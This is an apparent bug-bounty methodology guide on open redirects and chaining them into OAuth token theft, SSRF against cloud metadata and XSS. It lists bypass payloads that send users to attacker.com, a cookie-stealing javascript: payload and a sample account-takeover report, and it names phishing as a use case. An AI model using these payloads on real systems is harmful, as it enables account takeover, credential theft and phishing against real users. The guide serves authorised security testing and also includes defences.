Open redirect chaining attacks

Open Redirect & Chaining Attacks

When to Use

• When encountering URL parameters designed for navigation: ?next=, ?returnUrl=, ?redirect_to=, ?url=.
• When testing login portals, logout forms, or multi-step checkout processes that redirect users upon completion.
• When an OAuth integration restricts redirect_uri to the target domain, but an Open Redirect exists on that domain to steal the tokens.
• To facilitate highly credible phishing campaigns leveraging a trusted corporate domain.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Identifying the Open Redirect

# Concept: Ascertain if changing the target URL forces a 301/302 HTTP response
# to an attacker-controlled site.

# 1. Probing obvious parameters
https://target.com/login?next=https://attacker.com

# 2. Check the HTTP Response
HTTP/1.1 302 Found
Location: https://attacker.com
# Vulnerability Confirmed!

Phase 2: Bypassing Filters & Validation

# Concept: Developers often attempt to validate URLs (e.g., ensuring they start 
# with the valid domain or a `/`). We must creatively bypass these checks.

# 1. Bypassing "Must start with target.com" validations
https://target.com/login?next=https://target.com.attacker.com     # Attacker creates a clever subdomain
https://target.com/login?next=https://attacker.com/target.com     # Placing target name in path
https://target.com/login?next=https://[email protected]     # Using basic auth structure

# 2. Double URL Encoding & Whitespace
https://target.com/login?next=%0d%0a//attacker.com                # CRLF Injection bypass
https://target.com/login?next=\/\/attacker.com                    # Backslash bypass
https://target.com/login?next=//attacker.com                      # Protocol relative URL (browsers evaluate to http/https)

# 3. Trailing Slashes & Browser Normalization
https://target.com/login?next=https://attacker.com%2F%2E%2E%2F    # Browser evaluates encoding differently than backend

Phase 3: Exploitation and Impact Escalation (Crucial for Bug Bounty)

# Note: Many bug bounty programs mark basic Open Redirects as "Out of Scope" or "Low" priority
# because the impact is "only" phishing. You MUST chain it!

# Escalation 1: OAuth Token Theft (High/Critical Impact)
# Scenario: Target uses Google OAuth. The `redirect_uri` MUST strictly match `https://target.com/callback`.
# Attacker leverages the Open Redirect on target.com.
https://accounts.google.com/o/oauth2/auth?client_id=target_id&redirect_uri=https://target.com/callback?next=https://attacker.com&response_type=token

# Result: Google trusts target.com, sends the token to target.com. Target.com executes the Open Redirect, 
# forwarding the OAuth Token via the Referer header or URL fragment to attacker.com. Session taken!

# Escalation 2: Bypassing SSRF Defenses (High/Critical Impact)
# Scenario: An API fetches data from user-supplied URLs, but blocks `http://169.254.169.254` (AWS Metadata).
# Attacker provides the Open Redirect URL instead:
POST /api/fetch HTTP/1.1
{"url": "https://target.com/redirect?to=http://169.254.169.254/latest/meta-data/"}
# Result: The strict SSRF filter allows `https://target.com`, but the HTTP client follows the 302 redirect directly into the metadata service, bypassing the filter.

# Escalation 3: Cross-Site Scripting (XSS) (Medium Impact)
# Scenario: The redirect is handled via JavaScript `window.location = params.url` instead of HTTP 302.
https://target.com/redirect?to=javascript:alert(document.cookie)

Decision Point 🔀

flowchart TD
    A[Inject `https://attacker.com` into redirect param] --> B{Does a 302 redirect occur?}
    B -->|No| C[Try filter bypasses: `[email protected]`, `//`, `\/\/`]
    B -->|Yes| D{Assess Impact Escalation}
    D --> E[Chain with OAuth `redirect_uri`]
    D --> F[Chain with SSRF Filters]
    D --> G[Try `javascript:` for DOM/Reflected XSS]

🔵 Blue Team Detection & Defense

• Strict Whitelist: Maintain a hardcoded map of acceptable redirect destinations and pass the index, not the URL.
  • SECURE: ?redirect_to=1 (maps to /dashboard)
• Relative URL Enforcement: Validate that redirect URLs begin with a single / and do not begin with // or http, ensuring they restrict users exclusively to the current domain.
• Confirmation Page: If redirecting external is necessary, enforce an interstitial "You are leaving Target.com, click here to continue" page. This completely nullifies OAuth token stealing and automated SSRF chaining.

Key Concepts

Concept	Description
Open Redirect	An input validation flaw where untrusted data specifies the target of a web redirect
Exploit Chaining	The process of combining multiple low-severity vulnerabilities to achieve a high-severity impact
OAuth Token Theft	Exploiting an open redirect on an authorized Client Domain to steal tokens from the Authorization Provider

Output Format

Bug Bounty Report: Account Takeover via OAuth & Open Redirect Chain
===================================================================
Vulnerability: Open Redirect escalated to OAuth Token Theft (Account Takeover)
Severity: High (CVSS 8.1)
Target: GET /login/redirect?url=

Description:
A classic Open Redirect exists at `/login/redirect?url=`. While normally a low-severity phishing vector, this vulnerability can be chained with the application's GitHub OAuth flow. The OAuth configuration correctly restricts callbacks to `https://target.com/`, but by embedding the Open Redirect into the OAuth callback flow, an attacker can steal the OAuth authorization code.

Reproduction Steps:
1. Send the victim the following crafted Microsoft OAuth link:
   `https://github.com/login/oauth/authorize?client_id=TARGET_ID&redirect_uri=https://target.com/login/redirect?url=https://attacker.com/log`
2. The user authorizes the application on GitHub.
3. GitHub sends the code to: `https://target.com/login/redirect?url=https://attacker.com/log&code=xyz123`
4. Target.com executes the open redirect.
5. The victim's browser sends the `code` within the HTTP Referer header to `attacker.com/log`.
6. The attacker uses the stolen `code` to authorize their own session.

Impact:
Full Account Takeover (ATO) for any user leveraging GitHub Single Sign-On.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• OWASP: Unvalidated Redirects and Forwards
• PortSwigger: Open routing vulnerabilities
• PayloadsAllTheThings: Open Redirect